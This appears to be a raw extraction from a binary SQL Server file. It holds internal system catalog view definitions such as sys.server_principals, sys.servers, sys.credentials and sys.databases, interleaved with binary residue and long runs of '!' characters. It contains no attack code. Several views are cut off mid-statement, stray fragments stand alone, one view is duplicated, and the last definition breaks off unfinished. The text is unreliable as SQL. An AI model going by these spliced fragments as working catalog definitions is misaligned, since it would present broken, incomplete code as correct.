		differential_base_time	= nullif(f.diffbasetime, 0),
		redo_start_lsn			= GetNumericLsn(f.redostartlsn),
		redo_start_fork_guid	= f.redostartforkguid,
		redo_target_lsn		= GetNumericLsn(f.redotargetlsn),
		redo_target_fork_guid	= f.forkguid,
		backup_lsn			= GetNumericLsn(f.backuplsn)
	FROM sys.sysbrickfiles f
	LEFT JOIN sys.syspalvalues st ON st.class = 'DBFS' AND st.value = f.filestate
	LEFT JOIN sys.syspalvalues ft ON ft.class = 'DBFT' AND ft.value = f.filetype
	WHERE f.dbid < 0x7fff -- consistent with sys.databases
		AND f.pruid = 0
		AND f.filestate NOT IN (1, 2)	-- x_efs_Dummy, x_efs_Dropped
		AND has_access('MF', 1) = 1
0'@ 8CREATE VIEW sys.server_principals AS
	SELECT p.name,
		p.id AS principal_id,
		p.sid, p.type,
		n.name AS type_desc,
		is_disabled = sysconv(bit, p.status & 0x80),
		p.crdate AS create_date,
		p.modate AS modify_date,
		p.dbname AS default_database_name,
		p.lang AS default_language_name,
		r.indepid AS credential_id,
		(case when p.id >= 2 and p.id < 11 then 1 else ro.indepid end) AS owning_principal_id,
		sysconv(bit, case when p.id >= 3 and p.id < 11 then 1 else 0 end) AS is_fixed_role		
	FROM master.sys.sysxlgns p
	LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0	-- SRC_LOGIN_CREDENTIAL
	LEFT JOIN sys.syssingleobjrefs ro ON ro.depid = p.id AND ro.class = 61 AND ro.depsubid = 0	-- SRC_SRVROLELOGINOWNER
	WHERE has_access('LG', p.id) = 1
		AND p.type <> 'M' -- exclude component logins
0&@ '8CREATE VIEW sys.server_role_members AS
	SELECT role_principal_id = indepid,
		member_principal_id = depid
	FROM master.sys.sysmultiobjrefs
	WHERE class = 26 AND depsubid = 0 AND indepsubid = 0	-- MRC_SRVROLEMEMBER
		AND has_access('SM', depid, indepid) = 1
0%@ 8CREATE VIEW sys.server_permissions AS
	SELECT p.class, cn.name AS class_desc,
		p.id AS major_id,
		p.subid AS minor_id,
		p.grantee AS grantee_principal_id,
		p.grantor AS grantor_principal_id,
		p.type, permission_name(p.class, p.type) AS permission_name,
		p.state, sn.name AS state_desc
	FROM master.sys.sysprivs p
	LEFT JOIN sys.syspalvalues cn ON cn.class = 'UNCL' AND cn.value = p.class
	LEFT JOIN sys.syspalnames sn ON sn.class = 'PRST' AND sn.value = p.state
	WHERE p.class >= 100
		AND (has_access('LG', p.grantee, p.grantor) = 1 OR has_access('CT', p.class, p.id) = 1)
		AND p.type <> 'EXTR' -- exclude trusted execute permission
0$@ 
8CREATE VIEW sys.servers AS
	SELECT s.id AS server_id,
		s.name, s.product, s.provider,
		data_source = convert(nvarchar(4000), v.value),
		location = convert(nvarchar(4000), l.value),
		provider_string = convert(nvarchar(4000), LinkedServerProperty(s.name, 'ProviderString')),
		s.catalog,
		s.connecttimeout AS connect_timeout,
		s.querytimeout AS query_timeout,
		sysconv(bit, s.status & 4) AS is_linked,				-- SRV_NORPCMAP
		sysconv(bit, s.status & 1) AS is_remote_login_enabled,	-- SRV_RPCIN
		sysconv(bit, s.status & 2) AS is_rpc_out_enabled,		-- SRV_RPCOUT
		sysconv(bit, s.status & 8) AS is_data_access_enabled,	-- SRV_DATA
		sysconv(bit, s.status & 16) AS is_collation_compatible,	-- SRV_COLLATECOMPAT
		sysconv(bit, s.status & 64) AS uses_remote_collation,	-- SRV_USERMTCOLLATE
		convert(sysname, collationpropertyfromid(s.cid,'name')) AS collation_name,
		sysconv(bit, s.status & 128) AS lazy_schema_validation,	-- SRV_LAZYSCHCHECK
		sysconv(bit, s.status & 32) AS is_system,				-- SRV_SYSTEM
		sysconv(bit, s.status & 256) AS is_publisher,			-- SRV_PUB
		sysconv(bit, s.status & 0x200) AS is_subscriber,		-- SRV_SUB
		sysconv(bit, s.status & 0x400) AS is_distributor,		-- SRV_DIST
		sysconv(bit, s.status & 0x800) AS is_nonsql_subscriber,	-- SRV_NONSQLSUB
		~(sysconv(bit, s.status & 0x1000)) AS is_remote_proc_transaction_promotion_enabled,	-- SRV_NODTCPROMOFORRPC
		s.modate AS modify_date							-- SRV80_USERMTCOLLATE
	FROM master.sys.sysxsrvs s
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 25 AND v.objid = s.id AND v.subobjid = 1 AND v.valnum = 0	-- SRV_DATASRC
	LEFT JOIN sys.sysobjvalues l ON l.valclass = 25 AND l.objid = s.id AND l.subobjid = 2 AND l.valnum = 0	-- SRV_LOCATION
	WHERE s.id = 0 OR has_access('SR', s.id) = 1
0#@ 8CREATE VIEW sys.remote_logins AS
	SELECT srvid AS server_id,
		name AS remote_name,
		lgnid AS local_principal_id,
		modate AS modify_date
	FROM master.sys.sysrmtlgns
	WHERE lgnid = suser_id() OR has_access('SR', 0) = 1
0"@ N8CREATE VIEW	sys.linked_logins AS
	SELECT srvid AS server_id,
		lgnid AS local_principal_id,
		sysconv(bit, status & 1) AS uses_self_credential,	-- LGN_LINKED_USESELF
		name AS remote_name,
		modate AS modify_date
	FROM master.sys.syslnklgns
	WHERE lgnid = suser_id() OR has_access('SR', 0) = 1
bjid = d.id	-- SVC_DATACOLLATION
	WHERE d.id < 0x7fff
		AND has_access('DB', (case when serverproperty('EngineEdition') = 5 then DB_ID() else d.id end)) = 1
!!!!!!!!!ZY@O2Z`)<k	0= 8CREATE VIEW sys.syscharsets AS
	SELECT type, id, csid,
		convert(smallint, 0) AS status,
		name, description,
		convert(varbinary(6000), null) AS binarydefinition,
		convert(image, null) AS definition
	FROM OpenRowset(TABLE CHARSET)
0> /8CREATE VIEW sys.syslanguages AS
	SELECT langid, dateformat, datefirst,
		convert(int, 0) AS upgrade,
		name, alias,
		convert(nvarchar(372), month1+N',' COLLATE catalog_default +month2+N','+month3+N','+month4+N','+month5+N','+month6
			+N','+month7+N','+month8+N','+month9+N','+month10+N','+month11+N','+month12) AS months,
		convert(nvarchar(132), shortmonth1+N',' COLLATE catalog_default +shortmonth2+N','+shortmonth3+N','+shortmonth4+N','+shortmonth5+N','+shortmonth6
			+N','+shortmonth7+N','+shortmonth8+N','+shortmonth9+N','+shortmonth10+N','+shortmonth11+N','+shortmonth12) AS shortmonths,
		convert(nvarchar(217), day2+N',' COLLATE catalog_default +day3+N','+day4+N','+day5+N','+day6+N','+day7+N','+day1) AS days,
		lcid, msglangid
	FROM OpenRowset(TABLE SYSLANG)
0i@ 38CREATE VIEW sys.syscolumns$ AS
	SELECT name, id, xtype,
		typestat = convert(tinyint, status & 3), -- (1-is_nullable) + is_ansi_padded * 2
		xusertype = convert(smallint, utype),
		length, xprec = prec,
		xscale = scale,
		colid = convert(smallint, colid),
		xoffset = convert(smallint, 0),
		bitpos = convert(tinyint, 0),
		reserved = convert(tinyint, 0),
		colstat = convert(smallint, (status & 512)/128 + (status & 1024)/32), -- is_output*4 + is_cursor_ref*32
		cdefault = dflt,
		domain = chk,
		number = convert(smallint, case number when 1 then 1 - objectproperty(id, 'isscalarfunction') else number end),
		colorder = convert(smallint, colid),
		autoval = convert(varbinary(8000), null),
		offset  = convert(smallint, 0),
		collationid = columnproperty(id, name, 'collationid'),
		language = convert(int, 0),
		status = convert(tinyint, (status & 2 + 1 - (status & 1))*8 + (status & 512)/8), -- is_nullable*8 + is_ansi_padded*16 + is_output*64 (parameter)
		type = xtypetotds(xtype, 1 - (status & 1)),	-- is_nullable
		usertype = convert(smallint, columnproperty(id, name, 'oldusertype')),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint, case when xtype in (34, 35, 99) then null	-- ntext, image, text
				when xtype = 36 then prec	-- uniqueidentifier
				when length = -1 then -1	-- new style large objects
				else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, 0),
		isoutparam = convert(int, (status & 512)/512),	-- is_output
		isnullable = convert(int, 1 - (status & 1)),	-- is_nullable
		collation = convert(sysname, columnpropertyex(id, name, 'collation')),
		tdscollation = convert(binary(5), columnpropertyex(id, name, 'tdscollation'))
	FROM sys.syscolpars
	WHERE (status & 4096) = 4096
0j@ 8CREATE VIEW sys.system_parameters$ AS
	SELECT id AS object_id,
		number,
		name collate catalog_default AS name,
		colid AS parameter_id,
		xtype AS system_type_id,
		utype AS user_type_id,
		length AS max_length,
		prec AS precision, scale,
		sysconv(bit, status & 512) AS is_output,
		sysconv(bit, status & 1024) AS is_cursor_ref,
		sysconv(bit, 0) AS has_default_value,
		sysconv(bit, 0) AS is_xml_document,
		convert(sql_variant, null) AS default_value,
		sysconv(int, 0) AS xml_collection_id,
		sysconv(bit, 0) AS is_readonly
	FROM sys.syscolpars
	WHERE number > 0 AND (status & 4096) = 4096
0@@ Z8CREATE VIEW sys.sysaltfiles AS
	SELECT fileid = convert(smallint, f.fileid & 0x7fff),
		groupid = convert(smallint, f.grpid),
		f.size, f.maxsize, f.growth,
		status = convert(int,
					case f.filetype when 1 then 66 else 2 end   -- x_eft_SQLLog, FCB_LOG_DEVICE, FCB_DSK_DEVICE
					+ (f.status & 8) * 2 -- FCB_READONLY_MEDIA
					+ (f. status & 16) * 256 -- FCB_READONLY
					+ case when f.filestate in (1, 2, 3, 6) then 268435456 else 0 end -- OFFLINE, FCB_OFFLINE
					+ (f.status & 256) * 2097152 -- FCB_SPARSE_FILE
					+ (f.status & 32) * 32768), -- FCB_PERCENT_GROWTH
		perf = convert(int, 0),
		dbid = convert(smallint, f.dbid),
		name = f.lname, filename = f.pname
	FROM master.sys.sysbrickfiles f
	WHERE f.filetype IN (0, 1) AND has_access('MF', 1) = 1 -- x_eft_SQLData, x_eft_SQLLog (bwkcmpt types)
0? 8
CREATE VIEW sys.syscacheobjects (bucketid, cacheobjtype, objtype, objid, dbid, dbidexec, uid, refcounts, 
		usecounts, pagesused, setopts, langid, dateformat, status, lasttime, maxexectime, avgexectime, lastreads,
		lastwrites, sqlbytes, sql) AS
	SELECT 	pvt.bucketid, pvt.cacheobjtype, pvt.objtype, 
			CONVERT(int, pvt.objectid), CONVERT(smallint, pvt.dbid),
			CONVERT(smallint, pvt.dbid_execute), CONVERT(smallint, pvt.user_id),
			pvt.refcounts, pvt.usecounts, pvt.size_in_bytes / 8192,
			CONVERT(int, pvt.set_options), CONVERT(smallint, pvt.language_id),
			CONVERT(smallint, pvt.date_format), CONVERT(int, pvt.status),
			CONVERT(bigint, 0), CONVERT(bigint, 0), CONVERT(bigint, 0), CONVERT(bigint, 0), CONVERT(bigint, 0), 
			CONVERT(int, LEN(CONVERT(nvarchar(max), fgs.text)) * 2), CONVERT(nvarchar(3900), fgs.text)
	FROM (SELECT ecp.*, epa.attribute, epa.value
		FROM sys.dm_exec_cached_plans ecp OUTER APPLY sys.dm_exec_plan_attributes(ecp.plan_handle) epa) as ecpa
	PIVOT (MAX(ecpa.value) for ecpa.attribute IN ("set_options", "objectid", "dbid", "dbid_execute", "user_id", "language_id", "date_format", "status")) as pvt
	OUTER APPLY sys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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Yp`(<	0և0 8CREATE VIEW sys.change_tracking_databases AS
	SELECT id AS database_id,
		convert(tinyint, DatabasePropertyEx(name, 'IsChangeTrackingAutoCleanup')) as is_auto_cleanup_on,
		convert(int, DatabasePropertyEx(name, 'ChangeTrackingRetentionPeriod')) as retention_period,
		convert(tinyint, DatabasePropertyEx(name, 'ChangeTrackingRetentionUnits')) as retention_period_units,
		convert(nvarchar(60), DatabasePropertyEx(name, 'ChangeTrackingRetentionUnitsDesc')) as retention_period_units_desc,
		change_tracking_max_cleanup_version(id) as max_cleanup_version
	FROM master.sys.sysdbreg
	WHERE id < 0x7fff
		AND has_access('DB', id) = 1
		AND (category & 128) = 128
0  8CREATE VIEW sys.server_principal_credentials AS
	SELECT indepid AS principal_id,
		depid AS credential_id
	FROM master.sys.sysmultiobjrefs
	WHERE class = 24 AND depsubid = 0 AND indepsubid = 0
		AND has_access('LG', indepid) = 1
	UNION	-- Adding results similar to sys.credentials view for creds added using WITH clause
	SELECT depid AS principal_id,
		indepid AS credential_id
	FROM master.sys.syssingleobjrefs
	WHERE class = 63 AND depsubid = 0 AND indepsubid = 0
		AND has_access('LG', depid) = 1
0 8CREATE VIEW sys.cryptographic_providers AS
	SELECT
		co.id AS provider_id,
		co.name,
		g.guid as guid,	
		convert(nvarchar(10), co.intprop) + '.' + -- Major (MAX INT => 10 chars)
		convert(nvarchar(3), (convert(bigint,p2.value)/(power(2,24)))) + '.' + 	  -- Minor [p2.value >> 24] (1 byte => 3 chars)
		convert(nvarchar(5), (convert(bigint,p2.value)/power(2,8)) & 65535) + '.' + -- Build [p2.value >> 8 & 0x0000FFFF] (2 bytes => 5 chars)
		convert(nvarchar(3), (convert(bigint,p2.value) & 255)) as version,		  -- Revision [p2.value & 0x000000FF] (1 byte => 3 chars)
		convert(nvarchar(520), p.value) as dll_path, 
		sysconv(bit, co.status & 1) AS is_enabled
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysguidrefs g ON g.class = 4 AND g.id= co.id AND g.subid = 0  -- GRC_CPGUID
	LEFT JOIN master.sys.sysobjvalues p ON p.valclass = 47 AND p.objid = co.id AND p.subobjid = 0 AND p.valnum = 1 -- SVC_CRYPTOPROVIDER/PROV_DLLPATH_PROP
	LEFT JOIN master.sys.sysobjvalues p2 ON p2.valclass = 47 AND p2.objid = co.id AND p2.subobjid = 0 AND p2.valnum = 2 -- SVC_CRYPTOPROVIDER/PROV_DLLPATH_VER
	WHERE co.class = 63 -- SOC_CRYPTOPROVIDER
0 #8CREATE VIEW sys.resource_governor_resource_pools
AS
    -- ISSUE - VSTS 83011
    -- Use isnull() below because Algebrizer doesn't properly
    -- determine these columns are non-nullable.
    SELECT
        pool_id             = co.id,
        name                = co.name,
        min_cpu_percent     = isnull( co.status            % 0x100, 0),
        max_cpu_percent     = isnull((co.status/0x100)     % 0x100, 0),
        min_memory_percent  = isnull((co.status/0x10000)   % 0x100, 0),
        max_memory_percent  = isnull((co.status/0x1000000) % 0x100, 0),
        cap_cpu_percent     = isnull( co.intprop % 0x100, 0)
    FROM
        master.sys.sysclsobjs co 
    WHERE 
        co.class = 54 AND -- SOC_RG_POOL
        has_access('RG', 0) = 1 
0 -	8CREATE VIEW sys.resource_governor_workload_groups
AS
    -- ISSUE - VSTS 83011
    -- Use isnull() below because Algebrizer doesn't properly
    -- determine these columns are non-nullable.
    SELECT
        group_id                    = co.id, -- group id
        name                        = co.name,
        importance                  = isnull(convert(sysname,case
                                                     when ((co.status / 0x100) % 0x100) = 1 then 'Low'    -- x_ergi_Low
                                                     when ((co.status / 0x100) % 0x100) = 3 then 'Medium' -- x_ergi_Medium
                                                     when ((co.status / 0x100) % 0x100) = 9 then 'High'   -- x_ergi_High
                                                     end),
                                              0),
        request_max_memory_grant_percent = isnull(co.status % 0x100, 0),
        request_max_cpu_time_sec         = co.intprop,
        request_memory_grant_timeout_sec = isnull(convert(int, convert(bigint, ov.value) % 0x100000000), 0),
        max_dop                          = isnull(convert(int, convert(bigint, ov_maxdop.value) % 0x100000000), 0),
        group_max_requests               = isnull(convert(int, convert(bigint, ov.value) / 0x100000000), 0),
        pool_id                          = sor.indepid
    FROM
        master.sys.sysclsobjs co INNER JOIN
        master.sys.syssingleobjrefs sor ON
        (
            co.class = 53 AND   -- SOC_RG_GROUP
            co.id = sor.depid AND
            sor.class = 13 AND  -- SRC_RG_GROUP_TO_POOL
            sor.depsubid = 0 AND
            sor.indepsubid = 0
        ) INNER JOIN
        master.sys.sysobjvalues ov ON
        (
            co.class = 53 AND   -- SOC_RG_GROUP
            co.id = ov.objid AND
            ov.valclass = 64 AND -- SVC_RG_GROUP
            ov.subobjid = 0 AND
            ov.valnum = 0
        ) LEFT JOIN
        master.sys.sysobjvalues ov_maxdop ON
        (
            co.class = 53 AND   -- SOC_RG_GROUP
            co.id = ov_maxdop.objid AND
            ov_maxdop.valclass = 64 AND -- SVC_RG_GROUP
            ov_maxdop.subobjid = 0 AND
            ov_maxdop.valnum = 1
        )
    WHERE
        has_access('RG', 0) = 1
SRC_RG_CONFIGURATION
        sor.depsubid = 0 AND
        sor.depid = 0 AND
        sor.indepsubid = 0 AND
        has_access('RG', 0) = 1
0 #8CREATE VIEW sys.resource_governor_resource_pools
AS
    -- ISSUE - VSTS 83011
    -- Use isnull() below because Algebrizer doesn't properly
    -- determine these columns are non-nullable.
    SELECT
        pool_id             = co.id,
        name                = co.name,
        min_cpu_percent     = isnull( co.status            % 0x100, 0),
        max_cpu_percent     = isnull((co.status/0x100)     % 0x100, 0),
        min_memory_percent  = isnull((co.status/0x10000)   % 0x100, 0),
        max_memory_percent  = isnull((co.status/0x1000000) % 0x100, 0),
        cap_cpu_percent     = isnull( co.intprop % 0x100, 0)
    FROM
        master.sys.sysclsobjs co 
    WHERE 
        co.class = 54 AND -- SOC_RG_POOL
        has_access('RG', 0) = 1 
pe = 4
		AND has_access('HE', e.id) = 1
0 |8CREATE VIEW sys.database_recovery_status AS
	SELECT d.id AS database_id,
		p.database_guid,
		p.family_guid,
		p.last_log_backup_lsn,
		p.recovery_fork_guid,
		p.first_recovery_fork_guid,
		p.fork_point_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBRECOVER, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
0@ 8CREATE VIEW sys.credentials AS
	SELECT
		co.id AS credential_id,
		co.name,
		convert(nvarchar(4000), ov.value) as credential_identity,
		co.created as create_date,
		co.modified as modify_date,
		n.name as target_type,
		r.indepid AS target_id
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysobjvalues ov ON ov.valclass = 28 AND ov.objid = co.id AND ov.subobjid = 0 AND ov.valnum = 1
	LEFT JOIN master.sys.syssingleobjrefs r ON r.depid = co.id AND r.class = co.intprop AND r.depsubid = 0	
	LEFT JOIN sys.syspalvalues n ON n.class = 'SRCL' AND n.value = co.intprop
	WHERE co.class = 57
		AND has_access('CR', 0) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	

	=`<k
;0Y@ 8CREATE VIEW sys.types AS
	SELECT name,
		t.xtype AS system_type_id,
		t.id AS user_type_id,
		t.schid AS schema_id,
		o.indepid AS principal_id,
		t.length AS max_length,
		t.prec AS precision,
		t.scale AS scale,
		convert(sysname, collationpropertyfromid(t.collationid, 'name')) AS collation_name,
		sysconv(bit, 1 - (t.status & 1)) AS is_nullable,	-- TYPE_NOTNULL
		sysconv(bit, case when t.id > 256 then 1 else 0 end) AS is_user_defined,	-- x_utypSSNAME
		sysconv(bit, case when t.xtype = 240 then 1 else 0 end) AS is_assembly_type,	-- XVT_UDT
		t.dflt AS default_object_id,
		t.chk AS rule_object_id,
		sysconv(bit, case when t.xtype = 243 then 1 else 0 end) AS is_table_type	-- XVT_TABLETYPE
	FROM sys.sysscalartypes t
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = t.id AND o.class = 44 AND o.depsubid = 0	-- SRC_TYPETOOWNER
	WHERE t.id <= 256 OR has_access('UT', t.id) = 1
0Z@ 8CREATE VIEW sys.sql_dependencies AS
	SELECT dp.class,
		i.name AS class_desc,
		dp.depid AS object_id,
		dp.depsubid AS column_id,
		dp.indepid AS referenced_major_id,
		dp.indepsubid AS referenced_minor_id,
		sysconv(bit, dp.status & 4) AS is_selected,		-- OBJDEP_READCS
		sysconv(bit, dp.status & 2) AS is_updated,		-- OBJDEP_RESULT
		sysconv(bit, dp.status & 1) AS is_select_all	-- OBJDEP_SELECT
	FROM sys.sysmultiobjrefs dp LEFT JOIN sys.syspalvalues i ON i.class = 'DPCL' AND i.value = dp.class
	WHERE dp.class <= 4	-- MRC_OLDDEPENDS,MRC_EXPRTOOBJ,MRC_EXPRTOTYPE,MRC_EXPRTOXMLNS,MRC_EXPRTOPRTFUNC
0[@ a8CREATE VIEW sys.service_queues AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		convert(smallint, o.property) AS max_readers,
		convert(nvarchar(776), v.value) COLLATE catalog_default AS activation_procedure,
		e.indepid AS execute_as_principal_id,
		o.is_activation_enabled, o.is_receive_enabled, o.is_enqueue_enabled,
		o.is_retention_enabled, o.is_poison_message_handling_enabled
	FROM sys.objects$ o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 12 AND v.objid = o.object_id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_QUEUEACTIVPROC
	LEFT JOIN sys.syssingleobjrefs e ON e.depid = o.object_id AND e.class = 22 AND e.depsubid = 0 -- SRC_OBJEXECASOWNER
	WHERE o.type = 'SQ'
0]  8CREATE VIEW sys.numbered_procedure_parameters AS
	SELECT object_id, procedure_number = number,
		name, parameter_id,
		system_type_id, user_type_id,
		max_length, precision,
		scale, is_output, is_cursor_ref
	FROM sys.parameters$
	WHERE number > 1
0^@ b8CREATE VIEW sys.numbered_procedures AS
	SELECT object_id = v.objid,
		procedure_number = convert(smallint, v.subobjid),
		definition = object_definition(v.objid, v.subobjid)
	FROM sys.sysobjvalues v
	WHERE v.valclass = 1 AND v.subobjid > 1 AND v.valnum = 0 	-- SVC_OBJECTSQLEXPR
		AND has_access('CO', v.objid) = 1
0_@ !8CREATE VIEW sys.assembly_modules AS
	SELECT object_id = o.id,
		assembly_id = asm.indepid,
		assembly_class = convert(sysname, v.value) collate Latin1_General_BIN,
		assembly_method = convert(sysname, m.value) collate Latin1_General_BIN,
		null_on_null_input = sysconv(bit, o.status & 0x200000),	-- OBJMOD_NULLONNULL
		execute_as_principal_id = x.indepid
	FROM sys.sysschobjs o
	JOIN sys.syssingleobjrefs asm ON asm.depid = o.id AND asm.class = 11 AND asm.depsubid = 0 	-- SRC_MODULETOASM
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 11 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 1 	-- SVC_OBJASMENTRY,ASMENTRY_CLASS
	LEFT JOIN sys.sysobjvalues m ON m.valclass = 11 AND m.objid = o.id AND m.subobjid = 0 AND m.valnum = 2 	-- SVC_OBJASMENTRY,ASMENTRY_METHOD
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 22 AND x.depsubid = 0	-- SRC_OBJEXECASOWNER
	WHERE o.pclass <> 100	-- x_eunc_Server
		AND type IN ('AF','PC','FS','FT','TA')
		AND has_access('SQ', o.id, o.pid, o.nsclass) = 1
0\@ 8CREATE VIEW sys.synonyms AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		base_object_name = convert(nvarchar(1035), v.value) collate catalog_default
	FROM sys.objects$ o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 4 AND v.objid = o.object_id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_SYNBASEOBJ
	WHERE o.type = 'SN'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m	`/<5Y0+@ 8CREATE VIEW sys.databases AS
	SELECT d.name, d.id AS database_id,
		r.indepid AS source_database_id,
		d.sid AS owner_sid,
		d.crdate AS create_date,
		d.cmptlevel AS compatibility_level,
		-- coll.value = null means that a collation wasn't specified for the DB and the server default is used instead
		convert(sysname, case when serverproperty('EngineEdition') = 5 AND d.id = 1 then serverproperty('collation')
                                 else CollationPropertyFromID(convert(int, isnull(coll.value, p.cid)), 'name') end) AS collation_name,
		p.user_access, ua.name AS user_access_desc,
		sysconv(bit, d.status & 0x400) AS is_read_only,			-- DBR_RDONLY
		sysconv(bit, d.status & 1) AS is_auto_close_on,			-- DBR_CLOSE_ON_EXIT
		sysconv(bit, d.status & 0x400000) AS is_auto_shrink_on,		-- DBR_AUTOSHRINK
		case when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000020) = 1) then cast (1 as tinyint) -- RESTORING
			 when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000080) = 1) then cast (7 as tinyint) -- COPYING
			 when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000100) = 1) then cast (4 as tinyint) -- SUSPECT
			 else p.state 
			 end AS state, -- 7 is COPYING and 4 is SUSPECT state for database copy (UNDO: Need to have a clean way to set states in dbtable for a user db)
		case when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000020) = 1) then 'RESTORING' 
			 when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000080) = 1) then 'COPYING' 
			 when (serverproperty('EngineEdition') = 5) AND (sysconv(bit, d.status & 0x00000100) = 1) then 'SUSPECT'
			 else st.name 
			 end AS state_desc,
		sysconv(bit, d.status & 0x200000) AS is_in_standby,		-- DBR_STANDBY
		case when serverproperty('EngineEdition') = 5 then convert(bit, 1) else p.is_cleanly_shutdown end AS is_cleanly_shutdown,
		sysconv(bit, d.status & 0x80000000) AS is_supplemental_logging_enabled,	-- DBR_SUPPLEMENT_LOG
		p.snapshot_isolation_state, si.name AS snapshot_isolation_state_desc,
		sysconv(bit, d.status & 0x800000) AS is_read_committed_snapshot_on,		-- DBR_READCOMMITTED_SNAPSHOT
		p.recovery_model, ro.name AS recovery_model_desc,
		p.page_verify_option, pv.name AS page_verify_option_desc,
		sysconv(bit, d.status2 & 0x1000000) AS is_auto_create_stats_on,			-- DBR_AUTOCRTSTATS
		sysconv(bit, d.status2 & 0x40000000) AS is_auto_update_stats_on,		-- DBR_AUTOUPDSTATS
		sysconv(bit, d.status2 & 0x80000000) AS is_auto_update_stats_async_on,	-- DBR_AUTOUPDSTATSASYNC
		sysconv(bit, d.status2 & 0x4000) AS is_ansi_null_default_on,			-- DBR_ANSINULLDFLT
		sysconv(bit, d.status2 & 0x4000000) AS is_ansi_nulls_on,				-- DBR_ANSINULLS
		sysconv(bit, d.status2 & 0x2000) AS is_ansi_padding_on,					-- DBR_ANSIPADDING
		sysconv(bit, d.status2 & 0x10000000) AS is_ansi_warnings_on,			-- DBR_ANSIWARNINGS
		sysconv(bit, d.status2 & 0x1000) AS is_arithabort_on,					-- DBR_ARITHABORT
		sysconv(bit, d.status2 & 0x10000) AS is_concat_null_yields_null_on,		-- DBR_CATNULL
		sysconv(bit, d.status2 & 0x800) AS is_numeric_roundabort_on,			-- DBR_NUMEABORT
		sysconv(bit, d.status2 & 0x800000) AS is_quoted_identifier_on,			-- DBR_QUOTEDIDENT
		sysconv(bit, d.status2 & 0x20000) AS is_recursive_triggers_on,			-- DBR_RECURTRIG
		sysconv(bit, d.status2 & 0x2000000) AS is_cursor_close_on_commit_on,	-- DBR_CURSCLOSEONCOM
		sysconv(bit, d.status2 & 0x100000) AS is_local_cursor_default,			-- DBR_DEFLOCALCURS
		sysconv(bit, d.status2 & 0x20000000) AS is_fulltext_enabled,			-- DBR_FTENABLED
		sysconv(bit, d.status2 & 0x200) AS is_trustworthy_on,				-- DBR_TRUSTWORTHY
		sysconv(bit, d.status2 & 0x400) AS is_db_chaining_on,				-- DBR_DBCHAINING
		sysconv(bit, d.status2 & 0x08000000) AS is_parameterization_forced,	-- DBR_UNIVERSALAUTOPARAM
		sysconv(bit, d.status2 & 64) AS is_master_key_encrypted_by_server,	-- DBR_MASTKEY
		sysconv(bit, d.category & 1) AS is_published,
